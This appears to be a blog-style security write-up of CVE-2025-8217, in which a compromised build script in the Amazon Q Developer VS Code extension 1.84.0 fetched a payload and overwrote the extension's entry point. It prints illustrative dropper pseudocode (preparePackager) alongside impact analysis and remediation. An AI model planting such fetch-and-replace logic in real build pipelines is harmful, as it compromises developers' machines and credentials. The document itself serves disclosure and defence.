Amazon Q's Self-Sabotage: The Backdoor That Couldn't Code

Let's talk about supply chain attacks. Usually, we picture state-sponsored hackers inserting sophisticated backdoors into obscure libraries like xz-utils or SolarWinds. We imagine 4D chess played with binary obfuscation. But CVE-2025-8217 reminds us that sometimes, the threat is coming from inside the house, and the attacker is barely competent enough to write valid TypeScript.

Amazon Q Developer is Amazon's answer to GitHub Copilot—an AI assistant living inside your IDE, helping you write code. It requires high privileges; it reads your source code, accesses your credentials, and interacts with AWS services. It is the perfect target. If you control the assistant, you control the developer.

In July 2025, version 1.84.0 of the Amazon Q Developer VS Code extension shipped with a little something extra. Not a feature, but a backdoor. Someone managed to modify the build scripts to inject unauthorized code right before packaging. This wasn't a vulnerability in the code logic itself; it was a compromise of the build pipeline, the digital equivalent of poisoning the water supply at the bottling plant.

The vulnerability class here is CWE-506: Embedded Malicious Code. But let's look at how it got there. The malicious logic didn't live in the main source tree where code reviewers might easily spot it. It was hidden in the plumbing.

The attacker modified scripts/package.ts. This file is responsible for bundling the extension into a .vsix file (the VS Code extension format). They added a function called preparePackager(). This function was a classic "dropper." It didn't contain the payload; it just fetched it.

The logic was specific: it checked if the environment variable STAGE was set to prod and if the directory was amazonq. This suggests the attacker knew the internal build environment of the Amazon Q team. They were targeting the official release pipeline, not just local developer builds. If the conditions were met, the script would reach out to a specific branch (ironically named stability) and download a file named extensionNode.bk.

Let's look at the dirty work. The preparePackager function effectively did this (pseudocode based on the incident report):

async function preparePackager() {
    if (process.env.STAGE === 'prod' && process.cwd().includes('amazonq')) {
        // Step 1: Download the payload
        // The attacker fetched 'extensionNode.bk' from a 'stability' branch
        await downloadFiles('https://raw.githubusercontent.com/.../stability/extensionNode.bk');
        
        // Step 2: The Switcheroo
        // Overwrite the legitimate entry point with the malicious one
        fs.copyFileSync('extensionNode.bk', 'src/extensionNode.ts');
    }
}

The audacity here is breathtaking. They didn't just modify a utility file; they overwrote src/extensionNode.ts, the main entry point of the extension's backend logic. This ensures that as soon as the extension activates in VS Code, the malicious code runs.

The use of curl (wrapped in a downloadFiles utility) to fetch external code during a production build is a cardinal sin of DevSecOps. It breaks the chain of custody. You think you are shipping commit SHA-A, but the build script pulls in unverified code from URL-B right before the ship leaves the harbor.

So, what did the malicious payload do? Did it exfiltrate your AWS keys? Did it mine crypto? Did it install a remote shell?

No. It crashed.

The payload, intended to call the Q Developer CLI, contained a syntax error. Yes, you read that right. The attacker managed to compromise the build pipeline of one of the largest tech companies in the world, successfully injected their code into the official release, and then failed because they didn't lint their payload.

[!NOTE] The Inert Payload Because of the syntax error, the JavaScript engine threw an exception immediately upon parsing or execution. This prevented the malicious API calls from ever hitting the network. The backdoor was "inert" by accident, not design.

This is the digital equivalent of a burglar picking your lock, disabling your alarm, stepping into your living room, and then tripping over their own shoelaces and knocking themselves unconscious.

While we can laugh at the incompetence, the implications are terrifying. If the code had worked, the impact would have been catastrophic.

1. Context Access: VS Code extensions run with the user's privileges. It could read any file the developer could read.
2. AWS Credentials: The Amazon Q extension is explicitly designed to handle AWS credentials. A working exploit could have siphoned temporary credentials, SSO tokens, or long-term access keys.
3. RCE: With access to the Q Developer CLI and the ability to execute node commands, the attacker essentially had Remote Code Execution on the machines of thousands of AWS developers.

The CVSS score is a modest 5.1 (Medium) only because the attack failed to execute. In a parallel universe where the attacker ran tsc before committing, this would be a 10.0.

This incident also highlights a terrifying reality of modern software development: Build scripts are code, too. We scan our application code for SQL injection, but we rarely audit our package.json scripts or Makefiles for malicious logic that modifies the source during the build.

The fix in version 1.85.0 was straightforward: Deletion.

Amazon removed the preparePackager function entirely. They also removed the downloadFiles utility that facilitated the external fetch. By removing the mechanism that pulled code from the stability branch, they restored the integrity of the build process.

For users, the remediation is simple:

1. Check your version: If you are on 1.84.0, you are holding a loaded (but jammed) gun.
2. Update: Move to 1.85.0 or higher immediately.
3. Purge: If you are paranoid (and you should be), uninstall the extension completely and reinstall it to ensure no cached files from the bad version remain in VS Code's extension folder (~/.vscode/extensions).

The lesson for developers? Pin your dependencies, and for the love of god, don't let your build scripts download unverified code from the internet.